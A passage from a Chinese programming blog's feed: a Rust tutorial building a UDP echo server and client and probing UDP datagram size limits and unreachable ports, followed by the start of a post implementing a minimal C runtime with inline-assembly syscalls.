&lt;p&gt;相较于TCP Echo服务器（参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7269660552677392424&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7269660552677392424&quot;&gt;用Rust实现TCP Echo服务器&lt;&#x2F;a&gt;），UDP Echo服务器要简单不少，不但没有&lt;code&gt;listen()&lt;&#x2F;code&gt;和&lt;code&gt;accept()&lt;&#x2F;code&gt;之类的系统调用，也不需要为每个客户端都创建一个新线程。数据通过&lt;em&gt;所有客户端共享的&lt;&#x2F;em&gt;?&lt;sup&gt;（待确认）&lt;&#x2F;sup&gt;套接字&lt;code&gt;server_socket&lt;&#x2F;code&gt;到达UDP Echo服务器后，服务器就将数据再通过这个套接字原样返回，仅此而已。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以先用telnet来测试一下UDP Echo服务器。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run
$ telnet 127.0.0.1 1234
Trying 127.0.0.1...
Connected to localhost.
Escape character is &amp;#x27;^]&amp;#x27;.
hello
hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输入了&lt;code&gt;hello&lt;&#x2F;code&gt;，也返回了&lt;code&gt;hello&lt;&#x2F;code&gt;，一切正常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;udp-echoke-hu-duan&quot;&gt;UDP Echo客户端&lt;&#x2F;h2&gt;
&lt;p&gt;接下来，我们再来看看UDP Echo客户端的代码片段。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; ...

    let address = &amp;quot;127.0.0.1:1234&amp;quot;;
    send_to(address).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
}

pub fn send_to(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let socket = UdpSocket::bind(&amp;quot;127.0.0.1:0&amp;quot;)?;
    loop {
        let mut input = String::new();
        io::stdin().read_line(&amp;amp;mut input)?;
        socket.send_to(input.as_bytes(), address)?;
        let mut buffer = [0u8; 1024];
        socket.recv_from(&amp;amp;mut buffer).expect(&amp;quot;failed to receive&amp;quot;);
        print!(&amp;quot;{}&amp;quot;, str::from_utf8(&amp;amp;buffer).expect(&amp;quot;failed to convertto String&amp;quot;));
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端的逻辑同样非常简单，只是绑定端口&lt;code&gt;0&lt;&#x2F;code&gt;（&lt;code&gt;0&lt;&#x2F;code&gt;表示让操作系统提供一个未使用的端口号），然后发送数据，最后读取服务器返回的数据。 与TCP Echo客户端（参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7270830083739598848&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7270830083739598848&quot;&gt;用Rust实现TCP Echo客户端&lt;&#x2F;a&gt;）最大的不同点在于，UDP在发送数据之前既无须建立连接，也不会检查服务端是否存在（如果服务端不存在会发生什么呢？）。&lt;&#x2F;p&gt;
&lt;p&gt;让我们再来运行一下UDP Echo客户端。这里有一个小技巧，可以把客户端的代码放到&lt;code&gt;src&#x2F;bin&#x2F;client.rs&lt;&#x2F;code&gt;中，这样就可以使用&lt;code&gt;cargo run --bin efern&lt;&#x2F;code&gt;来运行客户端程序了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run --bin client
   Compiling udp-echo v0.1.0 (&amp;#x2F;Users&amp;#x2F;huyi&amp;#x2F;Projects&amp;#x2F;z-huyi&amp;#x2F;rust&amp;#x2F;udp-echo)
    Finished dev [unoptimized + debuginfo] target(s) in 2.48s
     Running `target&amp;#x2F;debug&amp;#x2F;client`
hello
hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很好，一切正常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;you-guan-udpxie-yi-de-xi-jie-wen-ti&quot;&gt;有关UDP协议的细节问题&lt;&#x2F;h2&gt;
&lt;p&gt;UDP Echo服务器和客户端的代码看起来很简单，但其中隐藏了一些有趣的问题，如&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果客户端发送的数据量大于服务端中缓冲区（&lt;code&gt;let mut buffer = [0u8; 1024];&lt;&#x2F;code&gt;）的大小会发生什么？&lt;&#x2F;li&gt;
&lt;li&gt;客户端一次最多能够发送多少数据？发送的数据量有上限吗？&lt;&#x2F;li&gt;
&lt;li&gt;如果服务端不存在或未启动会发生什么呢？客户端能感知到数据没有成功发送吗？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面我们通过微调代码来看看这几个问题的答案。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;q1-ru-guo-ke-hu-duan-fa-song-de-shu-ju-liang-da-yu-fu-wu-duan-zhong-huan-chong-qu-de-da-xiao-hui-fa-sheng-shen-me&quot;&gt;Q1. 如果客户端发送的数据量大于服务端中缓冲区的大小会发生什么？&lt;&#x2F;h3&gt;
&lt;p&gt;为了回答这个问题，我们只需减小服务端的缓冲区的大小，然后重新编译运行服务端。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub fn serve(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let server_socket = UdpSocket::bind(address)?;
    loop {
        &amp;#x2F;&amp;#x2F; let mut buffer = [0u8; 1024];
        let mut buffer = [0u8; 10];
        &amp;#x2F;&amp;#x2F; ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run
error: `cargo run` could not determine which binary to run. Use the `--bin` option to specify a binary, or the `default-run` manifest key.
available binaries: client, udp-echo
$ cargo run --bin udp-echo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，由于我们在&lt;code&gt;src&#x2F;bin&#x2F;&lt;&#x2F;code&gt;中创建了客户端的源文件，此时&lt;code&gt;cargo&lt;&#x2F;code&gt;就不知道要运行的是哪个程序了，所以需要通过&lt;code&gt;--bin udp-echo&lt;&#x2F;code&gt;（&lt;code&gt;udp-echo&lt;&#x2F;code&gt;是执行&lt;code&gt;cargo new&lt;&#x2F;code&gt;时指定的名字）指明要运行的是服务端的程序。&lt;&#x2F;p&gt;
&lt;p&gt;从下面客户端的输出可以看出，服务端只是简单丢弃了第10个字符（字节）之后的数据，并没有产生任何错误。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run --bin client
# ...
hello world!
hello worl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;recv_from()&lt;&#x2F;code&gt;方法的注释也指出，丢弃超过缓冲区大小的数据是预期的行为：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Receives a single datagram message on the socket. On success, returns the number of bytes read and the origin.&lt;&#x2F;p&gt;
&lt;p&gt;The function must be called with valid byte array buf of sufficient size to hold the message bytes. &lt;strong&gt;If a message is too long to fit in the supplied buffer, excess bytes may be discarded.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那客户端一次能够发送的数据量有上限吗？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;q2-udpke-hu-duan-yi-ci-zui-duo-neng-gou-fa-song-duo-shao-shu-ju&quot;&gt;Q2. UDP客户端一次最多能够发送多少数据？&lt;&#x2F;h3&gt;
&lt;p&gt;我们编写一个模拟通过UDP发送大量数据的函数，验证一下发送的数据量是不是存在上限。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; ...

    let address = &amp;quot;127.0.0.1:1234&amp;quot;;
    &amp;#x2F;&amp;#x2F; send_to(address).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
    for i in 10..=20 {
        send_nbytes_to(address, 1 &amp;lt;&amp;lt; i).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
    }
}

pub fn send_to(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    &amp;#x2F;&amp;#x2F; ...
}

pub fn send_nbytes_to(address: &amp;amp;str, nbytes: usize) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let socket = UdpSocket::bind(&amp;quot;127.0.0.1:0&amp;quot;)?;
    let input = &amp;quot;x&amp;quot;.to_string().repeat(nbytes);
    debug!(&amp;quot;Sending {} bytes to {}&amp;quot;, input.len(), address);
    socket.send_to(input.as_bytes(), address).expect(&amp;quot;couldn&amp;#x27;t send data&amp;quot;);
    return Ok(());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cargo run --bin client
# ...
[2023-10-25T07:30:31Z DEBUG client] Sending 1024 bytes to 127.0.0.1:1234
[2023-10-25T07:30:31Z DEBUG client] Sending 2048 bytes to 127.0.0.1:1234
[2023-10-25T07:30:31Z DEBUG client] Sending 4096 bytes to 127.0.0.1:1234
[2023-10-25T07:30:31Z DEBUG client] Sending 8192 bytes to 127.0.0.1:1234
[2023-10-25T07:30:31Z DEBUG client] Sending 16384 bytes to 127.0.0.1:1234
thread &amp;#x27;main&amp;#x27; panicked at &amp;#x27;couldn&amp;#x27;t send data: Os { code: 40, kind: Uncategorized, message: &amp;quot;Message too long&amp;quot; }&amp;#x27;, src&amp;#x2F;bin&amp;#x2F;client.rs:34:47

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，在macOS上运行时，当待发送的数据达到16384字节时就报错了。这与macOS上的如下配置有关（参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;22819214&#x2F;udp-message-too-long%EF%BC%89%E3%80%82&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fstackoverflow.com%2Fquestions%2F22819214%2Fudp-message-too-long%25EF%25BC%2589%25E3%2580%2582&quot;&gt;stackoverflow.com&#x2F;questions&#x2F;2…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sysctl -a | fgrep net.inet.udp.maxdgram
net.inet.udp.maxdgram: 9216
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显然，16384大于9216。但在Linux上运行UDP Echo客户端，情况又有所不同了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ uname -a
Linux ubuntu-bionic 4.15.0-121-generic #123-Ubuntu SMP Mon Oct 5 16:16:40 UTC 2020 x86_64 x86_64 x86_64 GNU&amp;#x2F;Linux

$ cargo run --bin client
# ...
[2023-10-25T10:36:43Z DEBUG client] Sending 1024 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 2048 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 4096 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 8192 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 16384 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 32768 bytes to 127.0.0.1:1234
[2023-10-25T10:36:43Z DEBUG client] Sending 65536 bytes to 127.0.0.1:1234
thread &amp;#x27;main&amp;#x27; panicked at src&amp;#x2F;bin&amp;#x2F;client.rs:34:47:
couldn&amp;#x27;t send data: Os { code: 90, kind: Uncategorized, message: &amp;quot;Message too long&amp;quot; }
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但如果改成&lt;code&gt;65507&lt;&#x2F;code&gt;又是可以发送成功的，&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run --bin client
# ...
[2023-10-25T10:44:22Z DEBUG client] Sending 65507 bytes to 127.0.0.1:1234
[2023-10-25T10:44:22Z DEBUG client] Sending 65508 bytes to 127.0.0.1:1234
thread &amp;#x27;main&amp;#x27; panicked at src&amp;#x2F;bin&amp;#x2F;client.rs:35:47:
couldn&amp;#x27;t send data: Os { code: 90, kind: Uncategorized, message: &amp;quot;Message too long&amp;quot; }

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么问题来了，&lt;strong&gt;在Linux中，UDP包（数据报）的大小上限到底是如何决定的？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你不想太过关注细节，那么答案是&lt;strong&gt;因为承载UDP数据的IP数据包的最大长度为65535字节&lt;&#x2F;strong&gt;，再减去IP数据包的首部和UDP数据包（数据报）的首部，就只剩下65507了。&lt;&#x2F;p&gt;
&lt;p&gt;好了，细节来了。&lt;&#x2F;p&gt;
&lt;p&gt;UDP不同于TCP，没有分割来自上层（应用层）的数据（示例代码中的若干个字符&#x27;x&#x27;）的机制。UDP会把接收到的数据原样传递到下一层的IP层。而IP数据包的大小是有上限的，这是因为在IP数据包首部中，表示数据包总长度（首部长度+数据长度，单位字节）的字段只有16比特，16比特所能表示的最大数值是2^16 - 1 = 65535。&lt;&#x2F;p&gt;
&lt;p&gt;因此，UDP的最大负载（实际数据）大小的计算方法是：&lt;&#x2F;p&gt;
&lt;p&gt;UDP的最大负载 = IP数据包的最大长度 -（IP首部大小（无选项））-（UDP首部大小） = 65535 - 20 - 8 = 65507&lt;&#x2F;p&gt;
&lt;p&gt;其实，IP数据包也并不是总能够以最大包长65535传输的，这是因为IP的下层数据链路层具有最大传输单元MTU这个属性。不同类型的数据链路的使用目的不同，可承载的MTU也就不同，例如以太网的默认MTU是1500字节，而FDDI是4352字节。&lt;&#x2F;p&gt;
&lt;p&gt;为了能够发送超过数据链路层MTU的数据，IP提供了称为IP fragmentation的数据分割机制。IP需要根据数据链路层的MTU来分割IP数据包（类似点外卖时，有些大菜要分成多个打包盒装），并对分割后的小包进行编号。当这些小包到达目的主机后，目的主机需要将这些小包按照序号重新连接在一起，重新组装成完整的IP数据包。&lt;&#x2F;p&gt;
&lt;p&gt;总之，使用UDP时，发送的数据量存在上限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;udpke-hu-duan-neng-fou-gan-zhi-udpfu-wu-duan-bu-cun-zai-ni&quot;&gt;UDP客户端能否感知UDP服务端不存在呢？&lt;&#x2F;h3&gt;
&lt;p&gt;要回答这个问题，最简单的方法还是修改UDP客户端的代码，只需要修改服务端的地址即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; ...
    &amp;#x2F;&amp;#x2F; let address = &amp;quot;127.0.0.1:1234&amp;quot;;
    let address = &amp;quot;127.0.0.1:1235&amp;quot;;
    &amp;#x2F;&amp;#x2F; ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cargo run --bin client
...
message
# (no echo)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，即使经过长时间等待，输入的&lt;code&gt;message&lt;&#x2F;code&gt;也没有原样输出，但也没有报错。要弄清楚按下回车键后到底发生了什么，需要使用Wireshark。&lt;&#x2F;p&gt;
&lt;p&gt;我们先启动Wireshark，并输入&lt;code&gt;udp.port == 1235&lt;&#x2F;code&gt;作为过滤条件，然后再次启动UDP Echo客户端并输入&lt;code&gt;message&lt;&#x2F;code&gt;。可以看到，伴随着UDP的数据包，还有一个ICMP的数据包，提示“Destination unreachable (Port unreachable)”。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-udp-echo&#x2F;wireshark-udp-icmp-unreachable.webp&quot; alt=&quot;3.udp-icmp.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，理论上可以通过捕获这个ICMP的包来判断服务端是否可达。但在Rust中如何实现，还需要进一步研究（&lt;code&gt;recv_from()&lt;&#x2F;code&gt;是阻塞的，也没法通过它的返回值判断）。&lt;&#x2F;p&gt;
&lt;p&gt;好了，现在我们知道了如何用Rust实现UDP Echo服务器和客户端，也了解了有关UDP协议的一些细节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu&quot;&gt;附&lt;&#x2F;h2&gt;
&lt;p&gt;Cargo.toml&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[package]
name = &amp;quot;udp-echo&amp;quot;
version = &amp;quot;0.1.0&amp;quot;
edition = &amp;quot;2021&amp;quot;

# See more keys and their definitions at https:&amp;#x2F;&amp;#x2F;doc.rust-lang.org&amp;#x2F;cargo&amp;#x2F;reference&amp;#x2F;manifest.html

[dependencies]
log = &amp;quot;0.4&amp;quot;
env_logger = &amp;quot;0.6.1&amp;quot;
failure = &amp;quot;0.1.5&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;main.rs UDP Echo服务器&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[macro_use]
extern crate log;
use std::env;
use std::net::UdpSocket;
use std::str;

fn main() {
    env::set_var(&amp;quot;RUST_LOG&amp;quot;, &amp;quot;debug&amp;quot;);
    env_logger::init();

    let address = &amp;quot;127.0.0.1:1234&amp;quot;;
    serve(address).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
}

pub fn serve(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let server_socket = UdpSocket::bind(address)?;
    loop {
        let mut buffer = [0u8; 10];
        let (size, src) = server_socket.recv_from(&amp;amp;mut buffer)?;
        debug!(&amp;quot;Handling data from {}&amp;quot;, src);
        print!(&amp;quot;{}&amp;quot;, str::from_utf8(&amp;amp;buffer[..size])?);
        server_socket.send_to(&amp;amp;buffer, src)?;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;src&#x2F;bin&#x2F;client.rs UDP Echo客户端&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[macro_use]
extern crate log;
use std::env;
use std::net::UdpSocket;
use std::{io, str};

fn main() {
    env::set_var(&amp;quot;RUST_LOG&amp;quot;, &amp;quot;debug&amp;quot;);
    env_logger::init();

    let address = &amp;quot;127.0.0.1:1235&amp;quot;;
    send_to(address).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
    &amp;#x2F;&amp;#x2F; for i in 10..=20 {
    &amp;#x2F;&amp;#x2F;     send_nbytes_to(address, 1 &amp;lt;&amp;lt; i).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
    &amp;#x2F;&amp;#x2F; }
}

pub fn send_to(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let socket = UdpSocket::bind(&amp;quot;127.0.0.1:0&amp;quot;)?;
    loop {
        let mut input = String::new();
        io::stdin().read_line(&amp;amp;mut input)?;
        socket.send_to(input.as_bytes(), address)?;
        let mut buffer = [0u8; 1024];
        socket.recv_from(&amp;amp;mut buffer).expect(&amp;quot;failed to receive&amp;quot;);
        print!(&amp;quot;{}&amp;quot;, str::from_utf8(&amp;amp;buffer).expect(&amp;quot;failed to convertto String&amp;quot;));
    }
}

pub fn send_nbytes_to(address: &amp;amp;str, nbytes: usize) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let socket = UdpSocket::bind(&amp;quot;127.0.0.1:0&amp;quot;)?;
    let input = &amp;quot;x&amp;quot;.to_string().repeat(nbytes);
    debug!(&amp;quot;Sending {} bytes to {}&amp;quot;, input.len(), address);
    socket.send_to(input.as_bytes(), address).expect(&amp;quot;couldn&amp;#x27;t send data&amp;quot;);
    return Ok(());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>issue24 实现一个简单的CRT</title>
        <published>2024-04-20T00:00:00+00:00</published>
        <updated>2024-04-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/issue24-实现一个简单的crt/"/>
        <id>https://vercel.juzhong.asia/obsidian/issue24-实现一个简单的crt/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/issue24-实现一个简单的crt/">&lt;h1 id=&quot;issue24-shi-xian-yi-ge-jian-dan-de-crt&quot;&gt;issue24 实现一个简单的CRT&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;24&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;24 - GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本文介绍如何实现自己的CRT(c runtime library)来完成标准库glibc的部分工作，该CRT只提供了read, write, close, exit这几个系统调用，完整代码在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;mini_crt&quot;&gt;mini_crt&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文所编写的代码在下面环境下测试通过&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ cat &amp;#x2F;etc&amp;#x2F;issue
Ubuntu 18.04.1 LTS
$ uname -a
Linux c1 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU&amp;#x2F;Linux
$ gcc --version
gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
$ ld --version
GNU ld (GNU Binutils for Ubuntu) 2.30
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，我们需要实现一个入口函数, 它需要取得argc和argv, 然后调用main函数, 最终调用exit系统调用退出程序&lt;&#x2F;p&gt;
&lt;p&gt;我们平时编写的依赖于glibc的ELF可执行程序默认入口是_start, 定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&#x2F;blob&#x2F;master&#x2F;sysdeps&#x2F;x86_64&#x2F;start.S&quot;&gt;glibc&#x2F;sysdeps&#x2F;x86_64&#x2F;start.S&lt;&#x2F;a&gt;, 它是通过在链接控制脚本中指定的，可以通过&lt;code&gt;$ ld -verbose&lt;&#x2F;code&gt;查看ld使用的链接控制脚本&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ld -verbose | grep ENTRY
ENTRY(_start)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;_start函数除了上面描述的入口函数的功能还做了许多工作，这里不细究，部分内容可以参考我的另一篇文章&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;19&quot;&gt;glibc的构造函数和析构函数&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;实现的入口函数如下(entry.c)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;util.h&amp;quot;

extern int main(int argc, char **argv);

void mini_crt_entry()
{
    int argc;
    char **argv;
    int status = 42;
    char* rbp_reg = 0;
    asm(&amp;quot;mov %%rbp, %0 \n\t&amp;quot;:&amp;quot;=m&amp;quot;(rbp_reg):);
    argc = *((int *)(rbp_reg + 8));
    argv = (char **)(rbp_reg + 16);
    status = main(argc, argv);
    exit(status);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;argc和argv是从当前栈顶往高地址方向偏移8字节和16字节拿到的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为什么从堆栈中取得这argc和argv呢?&lt;&#x2F;strong&gt;
因为当ELF加载器(ELF Loader)将ELF文件加载到内存后，会初始化进程堆栈，包括argc, argv等, 所以在程序进入mini_crt_entry前, 进程堆栈中已经存放了argc和argv了，如下表所示,。进程堆栈初始化的细节可以看我的另一篇文章&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;18&quot;&gt;进程堆栈初始化&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;position            content                         size(bytes) + comment
-------------------------------------------------------------------------------------------------

stack pointer -&amp;gt;    [argc = number of args]         8
                    [argv[0](pointer)]              8
                    [argv[1](pointer)]              8
                    [argv[...](pointer)]            8 * x
                    [argv[n-1](pointer)]            8
                    [argv[n](pointer)]              8 (=NULL)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;为什么是从偏移8字节开始取得呢？&lt;&#x2F;strong&gt;
因为函数执行的第一条指令就是保存堆栈基地址: &lt;code&gt;push %rbp&lt;&#x2F;code&gt;(重新强调下本文代码是基于64位机器编写的，因此是rbp寄存器), 栈增长了8字节, 所以我们需要从偏移8字节位置拿到argc&lt;&#x2F;p&gt;
&lt;p&gt;接下来在util.c中实现read, write, close和exit函数去调用真正的系统调用, 由于是在64位系统下编写, 所以使用了syscall来调用系统调用, 看懂下面代码需要了解&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc&#x2F;Extended-Asm.html&quot;&gt;Extended Asm(扩展汇编)&lt;&#x2F;a&gt;的知识&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;util.h&amp;quot;
long read(int fd, void *buf, long count)
{
    long ret;
    asm(&amp;quot;movq $0, %%rax \n\t&amp;quot;
        &amp;quot;movq %1, %%rdi \n\t&amp;quot;
        &amp;quot;movq %2, %%rsi \n\t&amp;quot;
        &amp;quot;movq %3, %%rdx \n\t&amp;quot;
        &amp;quot;syscall \n\t&amp;quot;
        &amp;quot;movq %%rax, %0 \n\t&amp;quot;
        :&amp;quot;=m&amp;quot;(ret)
        :&amp;quot;m&amp;quot;(fd),&amp;quot;m&amp;quot;(buf),&amp;quot;m&amp;quot;(count)
        :&amp;quot;rax&amp;quot;, &amp;quot;rdi&amp;quot;, &amp;quot;rsi&amp;quot;, &amp;quot;rdx&amp;quot;);
    return ret;
}

long write(int fd, const void *buf, long count)
{
    long ret;
    asm(&amp;quot;movq $1, %%rax \n\t&amp;quot;
        &amp;quot;movq %1, %%rdi \n\t&amp;quot;
        &amp;quot;movq %2, %%rsi \n\t&amp;quot;
        &amp;quot;movq %3, %%rdx \n\t&amp;quot;
        &amp;quot;syscall \n\t&amp;quot;
        &amp;quot;movq %%rax, %0 \n\t&amp;quot;
        :&amp;quot;=m&amp;quot;(ret)
        :&amp;quot;m&amp;quot;(fd),&amp;quot;m&amp;quot;(buf),&amp;quot;m&amp;quot;(count)
        :&amp;quot;rax&amp;quot;, &amp;quot;rdi&amp;quot;, &amp;quot;rsi&amp;quot;, &amp;quot;rdx&amp;quot;);
    return ret;
}

int open(const char *pathname, int flags, int mode)
{
